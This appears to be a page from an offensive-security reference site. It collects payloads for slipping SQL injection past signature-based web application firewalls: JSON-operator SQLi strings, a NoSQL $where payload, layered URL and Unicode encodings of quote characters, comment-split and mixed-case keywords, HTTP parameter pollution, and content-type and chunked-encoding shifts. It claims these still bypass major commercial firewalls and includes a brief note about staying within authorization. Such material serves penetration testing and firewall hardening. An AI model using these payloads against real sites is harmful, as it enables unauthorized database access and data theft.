Parser and control bypass reference

WAF evasion (Cloudflare / Akamai / AWS)

Get a payload past signature-based WAFs. The JSON-SQLi and encoding-layer tricks below still bypass major WAFs; stack transforms with the Transform bench on /utils/.

wafevasionencoding

Stable IDbypass:wafLast updated2026-08-20Last verifiedLegacy review pendingProvenanceCurated reference

Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

JSON-based SQLi (modern)

The 2022 Claroty bypass: many WAF rulesets don't parse JSON SQL operators, but MySQL/Postgres/MSSQL do. Wrap injection in JSON syntax the WAF ignores.

1 OR JSON_EXTRACT('{"a":1}','$.a')=1-- -
{"$where":"return true"}
1'||(SELECT 1 FROM JSON_TABLE('[1]','$[*]' COLUMNS(x INT PATH '$'))a)||'

Stacked encoding layers

The app decodes one or two layers deeper than the WAF. Chain with the Transform bench.

%2527
%25%33%43
\u0027
'
%C0%A7

Inline comments & case

Breaks static keyword signatures; MySQL versioned comments execute only on MySQL.

UNI/**/ON SE/**/LECT
SeLeCt
/*!50000UNION*//*!50000SELECT*/
or/**/1=1

HTTP parameter pollution

WAF inspects one occurrence, the app concatenates or takes another.

id=1&id=2'-- -
id[]=1&id[]=2
id=1;id=2

Body / content-type shift

Query strings are inspected far harder than bodies. Move the payload and change how it's parsed.

Content-Type: application/json (on a form endpoint)
Content-Type: multipart/form-data
Transfer-Encoding: chunked
Content-Type: application/xml

Version history: normalized permanent page created 2026-08-20.